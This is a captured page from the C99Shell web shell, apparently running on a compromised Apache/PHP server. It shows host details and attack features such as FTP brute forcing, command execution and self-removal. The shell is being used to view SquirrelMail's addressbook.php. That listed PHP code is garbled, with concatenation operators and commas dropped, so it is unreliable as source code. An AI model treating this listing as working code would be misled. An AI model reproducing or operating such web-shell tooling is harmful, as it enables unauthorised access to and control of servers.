!C99Shell v. 1.0 pre-release build #13!

Software: Apache/2.0.54 (Unix) mod_perl/1.99_09 Perl/v5.8.0 mod_ssl/2.0.54 OpenSSL/0.9.7l DAV/2 FrontPage/5.0.2.2635 PHP/4.4.0 mod_gzip/2.0.26.1a 

uname -a: Linux snow.he.net 4.4.276-v2-mono-1 #1 SMP Wed Jul 21 11:21:17 PDT 2021 i686 

uid=99(nobody) gid=98(nobody) groups=98(nobody) 

Safe-mode: OFF (not secure)

/usr/local/webmail2/src/   drwxr-xr-x
Free 318.37 GB of 458.09 GB (69.5%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     addressbook.php (16.14 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * addressbook.php
 *
 * Manage personal address book.
 *
 * @copyright &copy; 1999-2006 The SquirrelMail Project Team
 * @license http://opensource.org/licenses/gpl-license.php GNU Public License
 * @version $Id: addressbook.php,v 1.97 2006/01/28 15:58:29 stekkel Exp $
 * @package squirrelmail
 * @subpackage addressbook
 */

/**
 * Path for SquirrelMail required files.
 * @ignore
 */
define('SM_PATH','../');

/** SquirrelMail required files. */
include_once(SM_PATH 'include/validate.php');
require_once(
SM_PATH 'functions/display_messages.php');
require_once(
SM_PATH 'functions/addressbook.php');
require_once(
SM_PATH 'functions/forms.php');

/** lets get the global vars we may need */
sqgetGlobalVar('key',       $key,           SQ_COOKIE);

sqgetGlobalVar('username',  $username,      SQ_SESSION);
sqgetGlobalVar('onetimepad',$onetimepad,    SQ_SESSION);
sqgetGlobalVar('base_uri',  $base_uri,      SQ_SESSION);
sqgetGlobalVar('delimiter'$delimiter,     SQ_SESSION);

/* From the address form */
sqgetGlobalVar('addaddr',   $addaddr,   SQ_POST);
sqgetGlobalVar('editaddr',  $editaddr,  SQ_POST);
sqgetGlobalVar('deladdr',   $deladdr,   SQ_POST);
sqgetGlobalVar('sel',       $sel,       SQ_POST);
sqgetGlobalVar('oldnick',   $oldnick,   SQ_POST);
sqgetGlobalVar('backend',   $backend,   SQ_POST);
sqgetGlobalVar('doedit',    $doedit,    SQ_POST);

/* Get sorting order */
$abook_sort_order get_abook_sort();

/* Create page header before addressbook_init in order to  display error messages correctly. */
displayPageHeader($color'None');

/* Open addressbook with error messages on.
 remote backends (LDAP) are enabled because they can be used. (list_addr function)
*/
$abook addressbook_init(truefalse);

// FIXME: do we have to stop use of address book, when localbackend is not present.
if($abook->localbackend == 0) {
    
plain_error_message(
            
_("No personal address book is defined. Contact administrator."),
            
$color);
    exit();
}

$defdata   = array();
$formerror '';
$abortform false;
$showaddrlist true;
$defselected  = array();
$form_url 'addressbook.php';

/* Handle user's actions */
if(sqgetGlobalVar('REQUEST_METHOD'$req_methodSQ_SERVER) && $req_method == 'POST') {

    
/**************************************************
     * Add new address                                *
     **************************************************/
    
if (isset($addaddr)) {
        if (isset(
$backend)) {
            
$r $abook->add($addaddr$backend);
        } else {
            
$r $abook->add($addaddr$abook->localbackend);
        }

        
/* Handle error messages */
        
if (!$r) {
            
/* Remove backend name from error string */
            
$errstr $abook->error;
            
$errstr ereg_replace('^\[.*\] *'''$errstr);

            
$formerror $errstr;
            
$showaddrlist false;
            
$defdata $addaddr;
        }
    } else {

        
/************************************************
         * Delete address(es)                           *
         ************************************************/
        
if ((!empty($deladdr)) && sizeof($sel) > 0) {
            
$orig_sel $sel;
            
sort($sel);

            
/* The selected addresses are identidied by "backend:nickname". *
             * Sort the list and process one backend at the time            */
            
$prevback  = -1;
            
$subsel    = array();
            
$delfailed false;

            for (
$i ; (($i sizeof($sel)) && !$delfailed) ; $i++) {
                list(
$sbackend$snick) = explode(':'$sel[$i]);

                
/* When we get to a new backend, process addresses in *
                 * previous one.                                      */
                
if ($prevback != $sbackend && $prevback != -1) {

                    
$r $abook->remove($subsel$prevback);
                    if (!
$r) {
                        
$formerror $abook->error;
                        
$i sizeof($sel);
                        
$delfailed true;
                        break;
                    }
                    
$subsel   = array();
                }

                
/* Queue for processing */
                
array_push($subsel$snick);
                
$prevback $sbackend;
            }

            if (!
$delfailed) {
                
$r $abook->remove($subsel$prevback);
                if (!
$r) { /* Handle errors */
                    
$formerror $abook->error;
                    
$delfailed true;
                }
            }

            if (
$delfailed) {
                
$showaddrlist true;
                
$defselected  $orig_sel;
            }

        } else {

            
/***********************************************
             * Update/modify address                       *
             ***********************************************/
            
if (!empty($editaddr)) {
                
/* Stage one: Copy data into form */
                
if (isset($sel) && sizeof($sel) > 0) {
                    if(
sizeof($sel) > 1) {
                        
$formerror _("You can only edit one address at the time");
                        
$showaddrlist true;
                        
$defselected $sel;
                    } else {
                        
$abortform true;
                        list(
$ebackend$enick) = explode(':'$sel[0]);
                        
$olddata $abook->lookup($enick$ebackend);
                        
// FIXME: Test if $olddata really contains anything and return an error message if it doesn't

                        /* Display the "new address" form */
                        
abook_create_form($form_url,'editaddr',_("Update address"),_("Update address"),$olddata);
                        echo 
addHidden('oldnick'$olddata['nickname']).
                            
addHidden('backend'$olddata['backend']).
                            
addHidden('doedit''1').
                            
'</form>';
                    }
                } elseif (
$doedit == 1) {
                    
/* Stage two: Write new data */
                    
$newdata $editaddr;
                    
$r $abook->modify($oldnick$newdata$backend);

                    
/* Handle error messages */
                    
if (!$r) {
                        
/* Display error */
                        
echo html_tag'table',
                                
html_tag'tr',
                                    
html_tag'td',
                                        
"\n"'<strong><font color="' $color[2] .
                                        
'">' _("ERROR") . ': ' $abook->error '</font></strong>' ."\n",
                                        
'center' )
                                    ),
                                
'center''''width="100%"' );

                        
/* Display the "new address" form again */
                        
abook_create_form($form_url,'editaddr',_("Update address"),_("Update address"),$newdata);
                        echo 
addHidden('oldnick'$oldnick).
                            
addHidden('backend'$backend).
                            
addHidden('doedit',  '1').
                            
"\n" '</form>';
                        
$abortform true;
                    }
                } else {
                    
/**
                     * $editaddr is set, but $sel (address selection in address listing)
                     * and $doedit (address edit form) are not set.
                     * Assume that user clicked on "Edit address" without selecting any address.
                     */
                    
$formerror _("Please select address that you want to edit");
                    
$showaddrlist true;
                } 
/* end of edit stage detection */
            
/* !empty($editaddr)                  - Update/modify address */
        
/* (!empty($deladdr)) && sizeof($sel) > 0 - Delete address(es) */
    
/* !empty($addaddr['nickname'])               - Add new address */

    // Some times we end output before forms are printed
    
if($abortform) {
        echo 
"</body></html>\n";
        exit();
    }
}


/* =================================================================== *
 * The following is only executed on a GET request, or on a POST when  *
 * a user is added, or when "delete" or "modify" was successful.       *
 * =================================================================== */

/* Display error messages */
if (!empty($formerror)) {
    echo 
html_tag'table',
            
html_tag'tr',
                
html_tag'td',
                    
"\n"'<br /><strong><font color="' $color[2] .
                    
'">' _("ERROR") . ': ' $formerror '</font></strong>' ."\n",
                    
'center' )
                ),
            
'center''''width="100%"' );
}


/* Display the address management part */
if ($showaddrlist) {
    
/* Get and sort address list */
    
$alist $abook->list_addr();
    if(!
is_array($alist)) {
        
plain_error_message($abook->error$color);
        exit;
    }

    
usort($alist,'alistcmp');
    
$prevbackend = -1;
    
$headerprinted false;

    echo 
html_tag'p''<a href="#AddAddress">' _("Add address") . '</a>''center' ) . "\n";

    
/* List addresses */
    
if (count($alist) > 0) {
        echo 
addForm($form_url'post');
        if (
$abook->add_extra_field) {
            
$abook_fields 6;
        } else {
            
$abook_fields 5;
        }
        while(list(
$undef,$row) = each($alist)) {

            
/* New table header for each backend */
            
if($prevbackend != $row['backend']) {
                if(
$prevbackend 0) {
                    echo 
html_tag'table',
                            
html_tag'tr',
                                
html_tag'td',
                                    
addSubmit(_("Edit selected"), 'editaddr').
                                    
addSubmit(_("Delete selected"), 'deladdr'),
                                    
'center'''"colspan=\"$abook_fields\"" )
                                ) .
                            
html_tag'tr',
                                
html_tag'td''&nbsp;<br />''center'''"colspan=\"$abook_fields\"" )
                                ),
                            
'center' );
                    echo 
"\n<!-- start of address book table -->\n" .
                        
html_tag'table''''center''''border="0" cellpadding="1" cellspacing="0" width="90%"' ) .
                        
html_tag'tr'"\n" .
                                
html_tag'th''&nbsp;''left''''width="1%"' ) . "\n" .
                                
html_tag'th'_("Nickname") .
                                    
show_abook_sort_button($abook_sort_order_("sort by nickname"), 01),
                                    
'left''''width="1%"' ) . "\n" .
                                
html_tag'th'_("Name") .
                                    
show_abook_sort_button($abook_sort_order_("sort by name"), 23),
                                    
'left''''width="1%"' ) . "\n" .
                                
html_tag'th'_("E-mail") .
                                    
show_abook_sort_button($abook_sort_order_("sort by email"), 45),
                                    
'left''''width="1%"' ) . "\n" .
                                
html_tag'th'_("Info") .
                                    
show_abook_sort_button($abook_sort_order_("sort by info"), 67),
                                    
'left''''width="1%"' ) .
                                  (
$abook->add_extra_field html_tag'th''&nbsp;','left''''width="1%"'): '') .
                                
"\n",
                                
''$color[9] ) . "\n";
                }

                
// Separate different backends with <hr />
                
if($prevbackend 0) {
                    echo  
html_tag'tr',
                            
html_tag'td'"<hr />"'center''' ,"colspan=\"$abook_fields\"" )
                            );
                }

                
// Print backend name
                
echo html_tag'tr',
                        
html_tag'td'"\n" '<strong>' $row['source'] . '</strong>' "\n"'center'$color[0] ,"colspan=\"$abook_fields\"" )
                        );

                
$line 0;
                
$headerprinted true;
            } 
/* End of header */

            
$prevbackend $row['backend'];

            
/* Check if this user is selected */
            
$selected in_array($row['backend'] . ':' $row['nickname'], $defselected);

            
/* Print one row, with alternating color */
            
if ($line 2) {
                
$tr_bgcolor $color[12];
            } else {
                
$tr_bgcolor $color[4];
            }
            echo 
html_tag'tr'''''$tr_bgcolor);
            if (
$abook->backends[$row['backend']]->writeable) {
                echo 
html_tag'td',
                               
'<small>' .
                               
addCheckBox('sel[]'$selected$row['backend'].':'.$row['nickname']).
                               
'</small>' ,
                               
'center''''valign="top" width="1%"' );
            } else {
                echo 
html_tag'td',
                               
'&nbsp;' ,
                               
'center''''valign="top" width="1%"' );
            }
            echo 
html_tag'td',
                           
'&nbsp;' htmlspecialchars($row['nickname']) . '&nbsp;',
                           
'left''''valign="top" width="1%" style="white-space: nowrap;"' );

            
// different full name display formating for Japanese translation
            
if ($squirrelmail_language == 'ja_JP') {
                
/*
                 * translation uses euc-jp character set internally.
                 * htmlspecialchars() should not break any characters.
                 */
                
echo html_tag'td',
                               
'&nbsp;' htmlspecialchars($row['lastname']) . ' ' htmlspecialchars($row['firstname']) . '&nbsp;',
                               
'left''''valign="top" width="1%" style="white-space: nowrap;"' );
            } else {
                echo 
html_tag'td',
                               
'&nbsp;' htmlspecialchars($row['name']) . '&nbsp;',
                               
'left''''valign="top" width="1%" style="white-space: nowrap;"' );
            }

            
// email address column
            
echo html_tag'td''''left''''valign="top" width="1%" style="white-space: nowrap;"' ) . '&nbsp;';
            
$email $abook->full_address($row);
            echo 
makeComposeLink('src/compose.php?send_to='.rawurlencode($email),
                    
htmlspecialchars($row['email'])).
                
'&nbsp;</td>'."\n";

            
// info column
            
echo html_tag'td''&nbsp;' htmlspecialchars($row['label']) . '&nbsp;''left''''valign="top" width="1%"' );

            
// add extra column if third party backend needs it
            
if ($abook->add_extra_field) {
                echo 
html_tag'td',
                               
'&nbsp;' . (isset($row['extra']) ? $row['extra'] : '') . '&nbsp;',
                               
'left''''valign="top" width="1%"' );
            }
            echo 
"</tr>\n";
            
$line++;
        }
        echo 
"</table>" .
            
"\n<!-- end of address book table -->\n";

        
/* End of list. Add edit/delete select buttons */
        
if ($headerprinted) {
            echo 
html_tag'table',
                    
html_tag'tr',
                        
html_tag'td',
                            
addSubmit(_("Edit selected"), 'editaddr') .
                            
addSubmit(_("Delete selected"), 'deladdr'),
                            
'center'''"colspan=\"$abook_fields\"" )
                        ),
                    
'center' );
        }
        echo 
"</form>\n";
    }
/* end of addresslist */


/* Display the "new address" form */
echo '<a name="AddAddress"></a>' "\n";
abook_create_form($form_url,'addaddr',_("Add to address book"),_("Add address"),$defdata);
echo 
"</form>\n";

/* Add hook for anything that wants on the bottom */
echo "<!-- start of addressbook_bottom hook-->\n";
do_hook('addressbook_bottom');
echo 
"\n<!-- end of addressbook_bottom hook-->\n";
$oTemplate->display('footer.tpl');
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0146 ]--